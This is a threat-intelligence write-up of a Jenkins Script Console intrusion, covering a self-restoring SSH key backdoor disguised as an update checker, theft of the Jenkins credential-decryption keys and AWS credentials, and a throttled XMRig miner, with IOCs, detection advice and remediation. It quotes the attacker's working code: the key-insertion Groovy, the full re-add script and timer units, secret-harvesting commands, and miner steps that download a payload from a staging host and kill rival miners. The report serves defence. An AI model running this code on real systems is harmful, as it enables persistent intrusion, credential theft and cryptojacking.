← All campaigns

The Backdoor Key That Puts Itself Back

A threat actor breached a Jenkins server through its unauthenticated Script Console, then installed a self-healing SSH backdoor: delete the key and a systemd timer disguised as an update checker puts it back within five minutes. They stole the keys that decrypt the entire Jenkins credential store, harvested AWS credentials, and two days later deployed a cryptominer throttled to avoid detection. Full kill chain, IOCs, and Sigma detection rules inside.

MITRE ATT&CK techniques T1098.004T1053.006T1036.005T1059.004T1552.001T1552.004T1555T1082T1083T1496T1562.001T1550.001

The Backdoor Key That Puts Itself Back

State of the Attack · August 2026

Summary

A threat actor found a Jenkins server with its Script Console reachable from the internet without a password. The Script Console is a built-in admin feature that runs Groovy, a scripting language, directly on the server, so reaching it means running commands as the Jenkins user immediately. No exploit involved.

They added an SSH key to the root account. On its own, that is commodity activity that we wouldn’t be writing about. What makes it worth your time is what they installed alongside it: a small script and a systemd timer that check every five minutes whether the key is still there and put it back if it has gone.

Delete the key and it returns within five minutes, with nothing in your logs to suggest anything went wrong, because the script that restores it is disguised as a system update checker and genuinely checks for system updates.

Two days later they came back and installed a cryptocurrency miner from the same staging server. It is throttled to half the machine’s cores so it will not stand out, and it keeps its connection to the mining pool even if the pool’s domain name is blocked.

We recovered the deployment scripts, which carry the actor’s own comments in Chinese. They are useful because they show how the actor was thinking about each choice rather than just what they did.

What is not new: adding a key to authorized_keys (MITRE T1098.004) and holding persistence with a systemd timer (T1053.006) are both well documented, including by MITRE’s own detection guidance DET0126 and by Elastic, Splunk and Wazuh. If you alert on writes to authorized_keys and on new units appearing in /etc/systemd/system/, you should be catching this already.

What is new: the specific files, the key, the miner configuration, the actor’s markers, and their reasoning. We have not located these indicators in public reporting.

This was captured on one of our sensors, so what follows is what the actor did and believed they had achieved.

Step 1: Getting in

Ten seconds of reconnaissance, then straight to the Script Console.

GET  /api/json                 200   (anonymous read is enabled)
POST /createView               404
POST /view/all/config.xml      404
POST /script                   200   (code runs)

That is the whole of the access. They tried admin / admin six hours later and were rejected, which suggests they were checking whether a real login existed rather than needing one.

Step 2: Checking what they landed on

Before deploying anything they profiled the machine.

id; nproc; uname -a; free -m | head -2
which curl wget python3
which aws kubectl; aws --version 2>&1; kubectl version --client 2>&1 | head -3

Three questions, in order: what am I running as and how big is this box, what tools do I have to pull files with, and does this machine have cloud or Kubernetes credentials attached.

nproc matters more than it looks. Two days later they deployed a miner configured for exactly half the cores this command reported, and their own comment in that script names the practice. They are not guessing at a throttle value, they are measuring the machine and sizing to it. That connection is worth holding onto until Step 6, because it is the difference between a careless cryptominer and a deliberate one.

They never check the distribution directly, but they do not need to. The maintenance script guards its own cover story with command -v apt-get, so on a Debian or Ubuntu host it produces convincing update logs, and on anything else it skips that part and still re-adds the key. The disguise degrades, the backdoor does not.

Step 3: Writing the key into the middle of the file

Most published examples of this technique add the key to the end of /root/.ssh/authorized_keys. This one calculates the midpoint of the file and inserts it there.

def akf = new File("/root/.ssh/authorized_keys")
if (!akf.exists()) { akf.parentFile.mkdirs(); akf.createNewFile() }
def lines = akf.text.readLines()
if (lines.any { it.contains('host-monitor@main') }) {
    sb.append('KEY_ALREADY\n')
} else {
    def mid = (int)(lines.size() / 2)
    lines.add(mid, pub)
    akf.text = lines.join('\n') + '\n'
    akf.setExecutable(true, true); akf.setReadable(true, true); akf.setWritable(true, true)
    sb.append('KEY_INSERTED_LINE_' + (mid+1) + '\n')
}

The key they add carries the comment host-monitor@main, which is what makes it look like monitoring infrastructure at a glance and is also how they recognise their own work.

Putting it in the middle works because generally people would check the end of the list for additions. The reflex on a suspected rogue key is tail authorized_keys, and a key halfway down a file of legitimate keys survives that, along with anyone skimming to close out an alert as a false positive. It does not defeat file integrity monitoring or auditd. The write is still a write.

Two other details. The code creates /root/.ssh/ if it is missing, so it works on a server where root has never used SSH. And it checks for its own key first, reporting KEY_ALREADY rather than adding a duplicate, because two identical keys in one file is exactly what an administrator notices.

One thing to hunt on: akf.setExecutable(true, true) puts the execute bit on authorized_keys. Nothing legitimate does that.

Their maintenance script does set the file back to chmod 600, but only on the branch where the key had been removed, so on an undisturbed host the execute bit stays set indefinitely. Combined with where the key sits in the file, that gives you a single check that tells you the state of the compromise. See below.

Step 4: The script that puts the key back

Written to /usr/local/lib/systemd-update-check.sh:

#!/bin/bash
# system update check helper
if command -v apt-get >/dev/null 2>&1; then
  UPDATE_COUNT=$(apt-get -s upgrade 2>/dev/null | grep -c '^Inst' || true)
  if [ "${UPDATE_COUNT:-0}" -gt 0 ]; then logger -t update-check "pending updates: $UPDATE_COUNT"; fi
fi
MONKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main"
AK="/root/.ssh/authorized_keys"
if [ -f "$AK" ]; then
  grep -qF "$MONKEY" "$AK" || {
    echo "$MONKEY" >> "$AK"
    chmod 600 "$AK"
    logger -t update-check "monitoring key re-added"
  }
fi
exit 0

The disguise is the good part. The first six lines really do run a simulated apt-get upgrade, count the pending updates and write the number to syslog, so an administrator who opens this file and reads the top of it sees a plausible patch monitoring helper. The log lines it produces look like housekeeping. The backdoor is the second half of a script whose first half does honest work.

The variable holding the key is called MONKEY. We have left it out of the indicator set because it is a common password and searching for it across an estate returns almost entirely unrelated login attempts.

Step 5: The timer

# /etc/systemd/system/update-check.service
[Unit]
Description=Check for pending system updates
[Service]
Type=oneshot
ExecStart=/usr/local/lib/systemd-update-check.sh
# /etc/systemd/system/update-check.timer
[Timer]
OnBootSec=2min
OnUnitActiveSec=5min
AccuracySec=30s
RandomizedDelaySec=10s
[Install]
WantedBy=timers.target

Then daemon-reload, enable --now, and a check of systemctl is-active to confirm it took. The key comes back every five minutes, and two minutes after every reboot.

The file tells you whether anyone has already tried to clean it

Two differences between the initial deployment and the repair path combine into one useful check.

The initial code inserts the key in the middle of the file and sets the execute bit. The maintenance script appends the key to the end and sets chmod 600, and it only does either of those on the branch where the key was missing. On a host nobody has touched, the maintenance script runs every five minutes and changes nothing.

So the file’s state tells you your own history:

What you find What it means
Key mid-file, execute bit set Original deployment. Nobody has removed the key
Key at end of file, mode 600 Somebody removed it and the timer put it back

If you are looking at the second state, a previous cleanup attempt already failed, and whoever made it probably believes the host is clean.

The mismatch is also a small tell about how this was built. The two halves were written separately, possibly AI assisted, and nobody reconciled them.

The actors

They work from a job list. Their scripts and scratch files carry ticket numbers in a consistent format. Across this one intrusion we counted eight distinct numbers: 1297, 1334, 2166, 2190, 2382, 2944, 3062 and 3487. They appear as scratch filenames (/tmp/wo1334_x.txt), as script header comments (WO-2190 on the backdoor deployment), and as success markers echoed back through the console.

Those markers are the useful part, because they are a naming convention rather than a one-off:

WO2166_RCE_OK        WO2166_VERIFY_OK        WO2190_RCE_OK
HUNTER_JK_OK_806192  HUNTER_JK_OK_807101     HUNTER_VERIFY_835696

The WO<number>_RCE_OK and _VERIFY_OK pair is a standard two-step confirmation, run once to prove code execution and again to prove it stuck.

HUNTER_JK_OK is not a job number. It has a different shape entirely: a fixed prefix, what looks like a target-type tag, and a run identifier. We cannot tell you whether HUNTER is a tool name, a campaign label or an operator handle. What it is for practical purposes is a consistent string echoed on every successful run, which makes it the single best thing on this page to search your logs for.

Eight numbers spanning 1297 to 3487, inside one intrusion, reads as a queue of work assigned and worked through rather than one person improvising. It could be a team, a contractor arrangement, or one person being organised.

They were working live, without a test environment. Installing the backdoor took three attempts over about twenty minutes, all failing the same way. They had written a Bash script containing shell variables such as $UPDATE_COUNT and $AK, then pasted it into Groovy, which also treats $ as special inside double quotes. The script was being mangled before it ever reached disk. This is a cross-language quoting problem, not a version or distribution mismatch, and anyone who had run it once locally would have caught it.

The first attempt escaped every $ by hand. The second gave up on quoting and base64-encoded all four files, decoding them on the server. The third went back to plain text with single quotes, and they left themselves a note:

// Using single-quoted strings to avoid $ interpolation

Between attempts they read the file back to see what had actually landed, first directly and then base64-encoded when the plain read was not clear enough, and checked the timer:

println(new File("/root/.ssh/authorized_keys").text)
println(["systemctl","is-active","update-check.timer"].execute().text)

That is hands-on-keyboard work. An unattended script does not read its own output and change approach twice.

They took the machine’s own SSH keys, and never used them. After the backdoor was in place they came back the same evening and read both /root/.ssh/id_rsa and /root/.ssh/id_ed25519, receiving private key material. Neither key was ever presented back to any of our sensors afterwards.

The same is true of the key they planted. Across the whole campaign neither address ever connected to an SSH service, on this machine or any other we operate. They built a door, wrote a mechanism to keep rebuilding it, and never walked through it while we were watching. Access was being banked rather than used, which is consistent either with holding it for later or with selling it on.

To be clear about how all of this was done: through the web console, start to finish. Every command they ran arrived as a POST to the Script Console, 855 of them. The host profiling, the credential theft, the backdoor, the systemd timer, the miner install, all of it, typed into a box in a browser. Everything else we saw from these addresses was reconnaissance, failed logins, or probing at other products entirely.

So they stole two of the machine’s SSH keys, planted a third, and never opened an SSH connection to the host. If you are waiting for a compromise to look like someone logging in, this one never does. It looks like web traffic to your build server, which is what your build server is supposed to receive.

What happened in the ninety seconds after taking them says more than the theft did:

cat /var/lib/jenkins/config.xml
cat /root/.bash_history
netstat -tlnp 2>/dev/null || ss -tlnp
curl -s hxxp://127.0.0.1:2375/containers/json?all=true
curl -s hxxp://127.0.0.1:2375/images/json

They read the Jenkins configuration and the root shell history, listed listening services, then checked whether the machine was also running an exposed Docker API on its loopback interface, which would have been a second route onto the host.

The cloud credentials are the ones they actually used. Seconds before taking the SSH keys they had read /root/.aws/credentials. What they did with them over the next ninety minutes is worth following closely:

Time Where What
21:49 first address cat /root/.aws/credentials
22:53 first address which aws kubectl, then aws sts get-caller-identity
22:54 first address AWS Python library missing, so pip3 install boto3
23:00 first address curl -s https://checkip.amazonaws.com
23:08 second address AWS API calls begin against the account

They harvested the credentials on the compromised server, found the tooling they needed was not installed, checked what public IP address that server would appear from, and then made the actual API calls from somewhere else entirely. Whatever else they are careless about, they did not want the noisy compromised box appearing in a cloud provider’s audit log.

The calls themselves follow a deliberate escalation: confirm the identity, ask for temporary session credentials, ask which account the key belongs to, and then request a federation token, which is the call that turns programmatic keys into a browser console session. That is somebody trying to move from a stolen key to hands-on access to the account.

It is also where their limits show. On the first address they tried to hand-write an AWS authentication header rather than use a library, and it was malformed and rejected. They are fluent on Linux and noticeably less comfortable in cloud environments.

They took the keys that decrypt the credential store, not just the store. This was the very first thing they did, before any of the persistence work, and it is the part with the widest blast radius.

Jenkins does not keep credentials in plaintext. credentials.xml holds them encrypted, and two files under secrets/ are what decrypt them. In a three second window at 04:49:57 they read all three:

04:49:57   /var/lib/jenkins/credentials.xml
04:49:58   /var/lib/jenkins/secrets/master.key
04:49:59   /var/lib/jenkins/secrets/hudson.util.Secret

With that set an attacker can decrypt every stored credential offline, at leisure, on their own machine. They did not even wait for that. Later the same afternoon they lifted an encrypted blob straight out of the store and asked Jenkins to decrypt it in place, using the product’s own crypto:

println hudson.util.Secret.fromString("{<encrypted blob>}").getPlainText()

They then went after the rest of what the instance held: the user database under /var/lib/jenkins/users/, where account records live; the SSH private key belonging to the jenkins service account, separately from root’s; the full process environment, filtered for anything interesting:

env | grep -iE 'pass|key|token|secret|cred'

And they walked every configured job, pulling out the URLs each one references:

jenkins.model.Jenkins.get().getAllItems().each { it ->
    def txt = new File(it.getRootDir(), "config.xml").getText("UTF-8")
    def urls = (txt =~ /(?:https?|git@)[^"<\s]+/).findAll()
    println("JOB=" + it.getFullName())
    urls.unique().each { u -> println(" URL=" + u) }
}

A build server’s job configs are a map of everything it connects to, and git@ in that pattern means they were specifically enumerating source repositories. A Jenkins box is rarely valuable in itself. It is valuable because it holds standing credentials to the things that matter, and this is an actor collecting the map alongside the keys.

Planting an SSH key was not the objective. Collecting what the machine already held was, and the backdoor exists to keep that collection going.

Two things they did not do. You should look anyway.

They listed /var/lib/jenkins/init.groovy.d/, the directory whose scripts Jenkins runs at every startup and an obvious second place to hide persistence, but never wrote to it.

And they never touched 169.254.169.254. That address is the cloud metadata service. It exists only inside a cloud virtual machine, every major provider uses the same number for it, and it answers questions about the machine over plain unauthenticated requests: hostname, region, what is attached. If the machine has been given a cloud role, it will also hand out working credentials for that role to anything on the box that asks, with no password of any kind. For an actor who had just gone looking for cloud access it is the cheapest grab available, one request with no tooling, and potentially a more privileged credential set than the file they did read. Skipping it is the same gap in their cloud tradecraft that the malformed authentication header showed.

Step 6: The miner, two days later

Two days after the backdoor work, a second address began running the same tooling. We treat both as the same actor because of what they share:

  • The second address downloads its tools from a /cdn/ path on the first address’s own web server, so one machine is fetching from the other.
  • Both reference the same mining pool address.
  • Both use the same WO-numbered job naming.

We recovered two miner deployment scripts. WO-2944 is the one delivered through Jenkins. The second, wo3487_nacos_deploy.sh, is a later variant staged on the same server and aimed at a different product.

Nacos is Alibaba’s open-source service registry and configuration server. If you run Java microservices, it is the thing that holds your service addresses and application config, which makes it a high-value target. Versions before 2.4.0 expose an internal database console that can be driven into running commands on the host.

We never saw that script used against anything of ours, because we do not run a Nacos service for it to hit. That does not mean it went unused. The mining pool shows it running on other people’s machines, which is how we know the campaign is wider than the part that touched us.

They have a name for staying quiet

# 写配置: 4核 -> 2线程 (50% 隐蔽纪律), IP直连
#   "write config: 4 cores -> 2 threads (50% concealment discipline), direct IP"
"cpu": { "max-threads-hint": 50, "priority": 0 }

隐蔽纪律 translates as “concealment discipline”. Half the cores, at low scheduling priority, and the four cores in that comment are the number nproc reported during their reconnaissance. A second deployment against a different machine used 75%, so the figure is chosen per target.

Most guidance for finding cryptominers assumes a machine running hot. This one will not, deliberately. Detection built on CPU saturation will not find them.

They keep mining after the pool is blocked

# hosts 锁真池        "hosts lock real pool"
grep -q <pool-ip> /etc/hosts || echo "<pool-ip> gulf.moneroocean[.]stream" >> /etc/hosts

Blocking a mining pool by domain name at your resolver is a normal containment step. The script writes the pool’s IP address into /etc/hosts before starting, so the name resolves on the host itself and the query never leaves it.

That defeats the block, but it also costs you the evidence. Resolver logs are where most people look to see what a host has been talking to, and this lookup never gets there, so the pool never appears in them. The host is mining and your DNS records show nothing.

The mining configuration already holds the raw IP, so this line does nothing for their own connectivity. It exists purely to survive your response.

They clear out other people’s miners

# 杀竞争矿工          "kill competing miners"
for p in xmrig kdevtmpfsi kinsing minerd cpuminer xmrig-cpu kthreaddk; do pkill -9 -f "$p"; done

That list is a roll-call of common cryptojacking families, and this is routine across cryptomining campaigns. An actor about to use a machine’s CPU does not want to share it, so they clear the competition as a matter of course.

It does have a useful side effect. If a cryptominer you were already tracking disappears from a host, that is worth investigating rather than closing.

The rest of the script

mkdir -p /var/tmp/.update-systemd
cd /var/tmp/.update-systemd
if [ ! -f .netd ] || [ "$(stat -c%s .netd 2>/dev/null || echo 0)" != "<size>" ]; then
  curl -sfL -o .netd hxxp://<staging-host>/cdn/xmrig64
fi

They use /var/tmp rather than /tmp because it survives a reboot and is not cleared by the usual temporary-file cleaners. The leading dot hides the directory from a plain ls, and the miner is renamed .netd, which reads as a network daemon in a process listing.

The file size check means re-running the script costs nothing and will not re-download 8 MB, while a changed binary is picked up automatically.

"donate-level": 0,
"pools": [{ "url": "<pool-ip>:443", "tls": true,
            "user": "<wallet>.cm-<derived from target IP>", "pass": "x" }]

XMRig donates 1% of mining time to its developers by default. They set that to zero, though a second deployment left it at 1, so this is tuned job by job. The pool connection runs over TLS on port 443, so on the wire it resembles ordinary HTTPS.

The worker name attached to the wallet is built from the target machine’s own address. They label every host they mine on, which makes the wallet a far better census of this campaign than any single compromised server.

What the wallet shows

The pool publishes per-worker statistics for any wallet, and this one is not quiet. At the time of writing it carries 27 workers, 23 of them actively mining. Aggregate hashrate measured between 85 and 118 kH/s across two samples an hour apart, so treat any single figure as a snapshot of something still growing.

Two of those workers are provably this actor. One is nacos-168, the exact rig identifier hardcoded in the Nacos deployment script. The other is wo2944-87, carrying the job number from the script delivered through Jenkins. Those two strings are what tie the whole wallet back to files we hold and can hash.

The first of them settles a question our own telemetry could not. We never saw the Nacos script used, because we do not present a Nacos service anywhere. It is running, and it has been earning. The pool answered in one query what our sensor network structurally could not.

The remaining worker names read as host and organisation identifiers: what look like corporate build infrastructure, self-hosted Git servers, personal machines and two Docker container IDs. They are attacker-typed strings rather than verified identities, and exactly one of them contains a usable IP address. The register has gone to law enforcement rather than into this brief.

Treat the aggregate as a floor rather than a total. Nothing stops an actor running several wallets or proxying through an intermediate pool account, so 27 workers is what we can see, not necessarily what exists.

if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
  # /etc/systemd/system/<name>.service, "System Update ...", Restart=always
else
  setsid nohup ./.netd -c ./.netd.json --no-color >/dev/null 2>&1 < /dev/null &
  (crontab -l | grep -v net-maint-keepalive; echo '* * * * * pgrep -f .netd || ( ... ) # net-maint-keepalive') | crontab -
fi

Persistence is installed twice. If systemd is present the script creates a service; if not it starts the miner directly and adds a cron entry that restarts it if it dies. One variant checks every seven minutes, another every minute. The cron fallback is the one missed during cleanup.

Every unit they create is named as though it belongs to the system update machinery: update-check.service for the backdoor, then systemd-update-cleaner.service and update-service.service for the miner. The name changes with every deployment. The install path and the cron marker do not.

On the Chinese comments, and why they are not attribution

The scripts are commented throughout in Chinese, and the comments are working notes rather than labels. That tells you something about how the author thinks about the work. It does not tell you where they are or who they work for.

Language in source code is among the easiest signals to fake deliberately, and plenty of tooling is shared, sold or stolen between groups. Anyone planting comments to be found would plant exactly this kind.

Two measurements cut against the obvious reading.

Working hours. Across 1,081 sessions, 86% of their activity falls between 21:00 and 07:00 Beijing time, and only 11% lands inside Chinese business hours. Place the same activity in UTC and 44% falls inside a normal working day. That is a four-day sample and people do work nights, so it settles nothing on its own.

Infrastructure. None of it is Chinese. The staging server is Russian shared hosting (Timeweb, AS9123). The second address is a US cloud VPS (Oracle, AS31898). There is no Alibaba Cloud, no Chinese hosting and no Chinese transit anywhere in the campaign.

So one signal points east and two do not. We are treating none of them as attribution, and a reader should not either.

Timeline

When What
Day 1, early morning Anonymous read of the Jenkins API, then the Script Console
Day 1, afternoon Profiles the host, reads the Jenkins credential store, probes for Kubernetes
Day 2, evening Three attempts at the backdoor over twenty minutes; the third works
Day 2, late evening Returns to re-read the key file, then reads both of the host’s private SSH keys
Day 3, evening Installs the cryptominer (WO-2944)
Day 4 A second address picks up the operation and stages the Nacos miner variant

Both addresses have been quiet since.

What defenders should look for

Ranked roughly by how hard each is for the actor to avoid.

The unit and timer files. They have to create these.

/etc/systemd/system/update-check.service
/etc/systemd/system/update-check.timer
/usr/local/lib/systemd-update-check.sh

No mainstream Linux distribution ships a unit called update-check. More generally, any .timer in /etc/systemd/system/ whose ExecStart points into /usr/local/lib/ is worth a look regardless of this campaign.

The self-repair log line.

update-check: monitoring key re-added

This only appears on the code path where the key was missing and has just been restored. It is the sound of somebody’s cleanup failing. Alert on it.

The key comment. Search authorized_keys files across your estate for host-monitor@main. It is how the actor recognises their own work, so they cannot drop it without breaking their re-add logic.

The miner’s install directory, /var/tmp/.update-systemd/, and the cron marker net-maint-keepalive. Both were constant across every deployment we captured, while the service name changed each time.

The /etc/hosts entry. A mining pool hostname pinned to an IP address in /etc/hosts has no legitimate explanation. It is one grep, and its presence means somebody has deliberately protected a miner against your DNS controls.

If you run Jenkins, watch the two files that decrypt everything. Any read of

/var/lib/jenkins/secrets/master.key
/var/lib/jenkins/secrets/hudson.util.Secret

by anything other than the Jenkins process itself is worth waking someone for. Nothing routine touches them. Read together with credentials.xml inside a few seconds, as happened here, it means the whole credential store has left the building in a form the attacker can open at their own pace.

Their own tooling also announces itself. The strings HUNTER_JK_OK_, HUNTER_VERIFY_, and the WO<number>_RCE_OK / WO<number>_VERIFY_OK pair are echoed through the console on every successful run, so they land in whatever captures Script Console output.

The console request itself. Look for a POST to /scriptText whose body contains both authorized_keys and Groovy file or execution calls. One practical warning: that body arrives form-encoded, so the key’s / characters appear as %2F and its spaces as +. A rule written against the plain text will never fire. Decode the body before matching, and test any rule you already have against an encoded sample.

Remediation

Removing the key achieves nothing on its own, and there are two separate restart mechanisms. The systemd unit is the obvious one. Every miner variant we captured also writes a cron entry as a fallback, and that is the one that gets missed. Disable the service, leave the cron line, and the miner is back within the minute.

  1. List the scheduled tasks before deleting anything, so you know what will fight you:

    systemctl list-timers --all | grep -Ei 'update-check|update-service|update-cleaner'
    crontab -l; for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u "$u" 2>/dev/null; done
    ls -la /etc/cron.d/ /etc/cron.{hourly,daily}/ /var/spool/cron/ /var/spool/cron/crontabs/

    Search for the markers rather than one filename: net-maint-keepalive, .update-systemd, .netd.

  2. Remove the cron entries and disable the services together, not one and then the other.

  3. Delete the unit files, the maintenance script and /var/tmp/.update-systemd/, then run systemctl daemon-reload.

  4. Remove the /etc/hosts entry for the mining pool. Skip this and your DNS blocking stays useless even after the miner is gone.

  5. Now remove the key, reading the whole authorized_keys file rather than the end of it.

  6. Treat /root/.ssh/id_rsa and /root/.ssh/id_ed25519 as compromised and rotate them, along with anything those keys reach. They were read.

  7. Rotate every credential the Jenkins instance held, and treat them as known plaintext rather than as possibly-encrypted. This is not the usual precautionary wording. They took secrets/master.key and secrets/hudson.util.Secret alongside credentials.xml, which is the complete set needed to decrypt the store offline, and they were observed decrypting one entry in place. Rotating the Jenkins master key alone does not help: it protects the store going forward and does nothing about the copy they already hold. Every secret in there is spent. Also rotate the jenkins service account’s own SSH key at /var/lib/jenkins/.ssh/id_rsa, which was read separately from root’s, and any account in /var/lib/jenkins/users/.

  8. Work outward using the job configs as your list. They enumerated every job’s config.xml for HTTPS and git@ URLs. Whatever those point at, the credentials that reach it should be considered exposed, source repositories included.

  9. Check /var/lib/jenkins/init.groovy.d/ even though we did not see them write to it. Scripts there run at every Jenkins start, and they listed the directory.

  10. Close off unauthenticated access to the Script Console, or the whole sequence happens again.

Indicators

Full set with context in jenkins-groovy-selfhealing-ssh-persistence-iocs.csv. Detection rules in jenkins-groovy-selfhealing-ssh-persistence-sigma.yml, written in Sigma, the vendor-neutral format most tools can convert into their own query language.

Backdoor

Type Value
SSH key ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main
Key comment host-monitor@main
File /usr/local/lib/systemd-update-check.sh
File /etc/systemd/system/update-check.service
File /etc/systemd/system/update-check.timer
Syslog update-check: monitoring key re-added
Anomaly execute bit set on /root/.ssh/authorized_keys

Cryptominer

Type Value
Deploy script SHA-256 9cd66173..., not located in public malware repositories
File /var/tmp/.update-systemd/.netd (renamed XMRig)
File /var/tmp/.update-systemd/.netd.json
Directory /var/tmp/.update-systemd/
systemd units update-service.service, systemd-update-cleaner.service
Cron marker net-maint-keepalive
Hosts entry 205.172.58[.]170 gulf.moneroocean[.]stream
Mining pool 205.172.58[.]170:443 over TLS
Wallet 8C3jPvkYeP5UZs6tqpo27NJPjKGF3qRiCe5PhEUMS69ziLTKisBrCJK8i3fLf7XTUdB5bYySFuXsaNkYL2zS5szuNEPPe6q

Infrastructure

Type Value Note
Staging server 213.171.5[.]66 Compromised shared hosting (Timeweb, AS9123). Serves /cdn/ payloads. See below
Payload URL hxxp://213.171.5[.]66/cdn/xmrig64 Miner binary
Payload URL hxxp://213.171.5[.]66/cdn/wo3487_nacos_deploy.sh Nacos miner deployment script
Earlier staging 89.108.76[.]200:8123 Served .netd and .netd.json. Abandoned the same morning
Earlier staging 188.225.82[.]197:8123 Same files, same port. Timeweb, AS9123, the same network as the main staging server
Second address 163.192.1[.]64 Cloud VPS (AS31898). Fetches tooling from the staging server
Mining pool 205.172.58[.]170 Also pinned into /etc/hosts

On the two :8123 hosts. Before settling on their own /cdn/ path the actor tried two other servers, a minute apart, both on port 8123 and both serving the miner under the name .netd. By that evening they had moved to 213.171.5[.]66/cdn/xmrig64, a different host, port and filename. Worth having because a defender who only blocks the /cdn/ URLs from this brief will miss the earlier pair, and the :8123 plus .netd combination is the more distinctive pattern of the two.

One caution on 188.225.82[.]197. It also reached our sensor directly, but what it did there was a generic Jenkins credential lookup carrying none of this campaign’s markers, and three unrelated addresses did the same thing on the same sensor that same afternoon. Its only real tie to this campaign is that the actor’s own deployment command names it as a payload source.

The staging server is a compromised shared-hosting box, which means other customers’ sites run on the same address. Blocking the address risks blocking uninvolved third parties. The /cdn/ URLs are attacker-controlled and safe to alert on. Treat the address as correlation only and expect it to be cleaned up or reassigned.

Actor markers

Type Value
Job numbers 1297, 1334, 2166, 2190, 2382, 2944, 3062, 3487 (as WO-<n>, wo<n>)
Tool marker HUNTER_JK_OK_<6 digits>
Tool marker HUNTER_VERIFY_<6 digits>
RCE confirmation WO<n>_RCE_OK and WO<n>_VERIFY_OK
Console framing ### CMD: and ### END
Success markers KEY_INSERTED_LINE_, KEY_ALREADY

MITRE ATT&CK: T1098.004, T1053.006, T1036.005, T1059.004, T1552.001, T1552.004, T1555, T1082, T1083, T1496, T1562.001.

Not an indicator. The miner binary is the official, unmodified XMRig release. We recovered byte-for-byte the same file from an unrelated campaign in the same week, so it will appear in many places that have nothing to do with this actor.

Closing

The backdoor is not the interesting part. Adding a key and a timer is well-trodden ground.

What is interesting is that the actor wrote down why they made the choices they made, and left those notes in the scripts. They know remediation starts with the key, so they built something that outlives the key. They know defenders block mining pools by name, so they pinned the address first. They know a machine at full load gets investigated, so they measured the CPU count and took half.

Every one of those is a decision made in anticipation of a defender. The response you are planning is the one they planned against.

The Chinese comments were translated term by term against multiple Chinese-English dictionaries, with the original printed alongside each one.

Indicators of Compromise

  • then cryptomining
  • exported for detection authoring and LE/PSIRT handoff.
  • so do not blanket-block the host -- but the /cdn/ URLs on it are
  • no Host header and no passive DNS for this address
  • ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main
  • host-monitor@main
  • c0680a645d6529a9
  • /usr/local/lib/systemd-update-check.sh
  • /etc/systemd/system/update-check.service
  • /etc/systemd/system/update-check.timer
  • update-check.service
  • update-check.timer
  • update-check: monitoring key re-added
  • update-check
  • same update/systemd disguise) ------
  • 9cd66173c35603705f53c23b3d067dd1b2bb14f7728d3ac1e2a584fdd43f7cd5
  • http://213.171.5.66/cdn/wo3487_nacos_deploy.sh
  • http://213.171.5.66/cdn/xmrig64
  • 8C3jPvkYeP5UZs6tqpo27NJPjKGF3qRiCe5PhEUMS69ziLTKisBrCJK8i3fLf7XTUdB5bYySFuXsaNkYL2zS5szuNEPPe6q
  • 205.172.58.170
  • gulf.moneroocean.stream
  • nacos-168
  • /var/tmp/.update-systemd/.netd
  • /var/tmp/.update-systemd/.netd.json
  • /etc/systemd/system/update-service.service
  • update-service.service
  • net-maint-keepalive
  • sha256
  • is
  • 213.171.5.66
  • 163.192.1.64
  • 89.108.76.200
  • 188.225.82.197
  • http://89.108.76.200:8123/.netd
  • http://89.108.76.200:8123/.netd.json
  • http://188.225.82.197:8123/.netd
  • http://188.225.82.197:8123/.netd.json
  • AS9123
  • /var/lib/jenkins/secrets/master.key
  • /var/lib/jenkins/secrets/hudson.util.Secret
  • /var/lib/jenkins/.ssh/id_rsa
  • /var/lib/jenkins/users/
  • hudson.util.Secret.fromString(...).getPlainText()
  • jenkins.model.Jenkins.get().getAllItems()
  • env | grep -iE 'pass|key|token|secret|cred'
  • HUNTER_JK_OK_
  • HUNTER_VERIFY_
  • WO2166_RCE_OK
  • WO2166_VERIFY_OK
  • WO2190_RCE_OK
  • wo1297
  • wo2382
  • wo3062
  • /proc/self/attr/current
  • WO-2190
  • wo1334
  • wo3487
  • WO-2944
  • systemd-update-cleaner.service
  • /etc/systemd/system/systemd-update-cleaner.service
  • .cm-<last octets of victim IP>
  • xmrig kdevtmpfsi kinsing minerd cpuminer xmrig-cpu kthreaddk
  • /var/lib/jenkins/credentials.xml
  • * * * * * (respawn on .update-systemd/.netd)
  • ### CMD:
  • ### END
  • KEY_INSERTED_LINE_
  • KEY_ALREADY
  • POST /scriptText
  • GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
  • the variable name holding the key inside
  • but 'monkey' is a
  • 172 sessions from 120
  • essentially all of them
  • not this operator. Recorded here so nobody re-adds it.
  • Welcome1
  • T1098.004
  • T1053.006
  • T1036.005
  • T1059.004
  • T1552.004
  • T1496
  • T1562.001

Detection Rules & IOCs

Two rules covering the two halves of this campaign: SSH backdoor persistence, and the delivery path through the Script Console. Full atomic and behavioural indicators are in the IOC CSV; deploy the Sigma rules first, they cover the parts of this campaign that survive infrastructure rotation.

Sigma Rule
jenkins-groovy-console-operator-sigma.yml
DetectsBehavioural: the SSH backdoor unit/timer/script, the self-repair syslog line, and the planted key, plus the Script Console delivery request itself
IOC CSV
jenkins-groovy-console-operator-iocs.csv
DetectsAtomic indicators: C2 infrastructure, staging URLs, representative sample hashes

In plain terms

  • The update-check.service/.timer unit files and the script they point at: no mainstream distro ships a unit named update-check
  • The self-repair log line update-check: monitoring key re-added: only fires when a cleanup attempt has already failed
  • The SSH key comment host-monitor@main across your authorized_keys files
  • Any read of the Jenkins credential-store decryption keys (secrets/master.key, secrets/hudson.util.Secret) by anything other than the Jenkins process itself
  • A POST to /scriptText carrying both an authorized_keys reference and Groovy file/exec calls, decoded for form-encoding

Frequently asked

What is The Backdoor Key That Puts Itself Back?

A threat actor breached a Jenkins server through its unauthenticated Script Console, then installed a self-healing SSH backdoor: delete the key and a systemd timer disguised as an update checker puts it back within five minutes. They stole the keys that decrypt the entire Jenkins credential store, harvested AWS credentials, and two days later deployed a cryptominer throttled to avoid detection. Full kill chain, IOCs, and Sigma detection rules inside.

What are the indicators of compromise (IOCs) for The Backdoor Key That Puts Itself Back?

